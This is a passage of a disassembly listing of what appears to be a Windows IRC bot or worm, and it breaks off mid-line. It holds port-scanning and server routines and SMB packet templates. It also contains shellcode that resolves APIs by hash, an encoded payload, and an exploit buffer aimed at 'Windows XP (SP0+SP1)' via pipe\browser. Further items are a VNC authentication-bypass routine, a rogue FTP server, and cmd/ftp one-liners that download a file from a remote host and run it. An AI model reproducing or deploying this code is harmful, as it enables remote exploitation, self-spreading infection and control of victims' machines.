6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 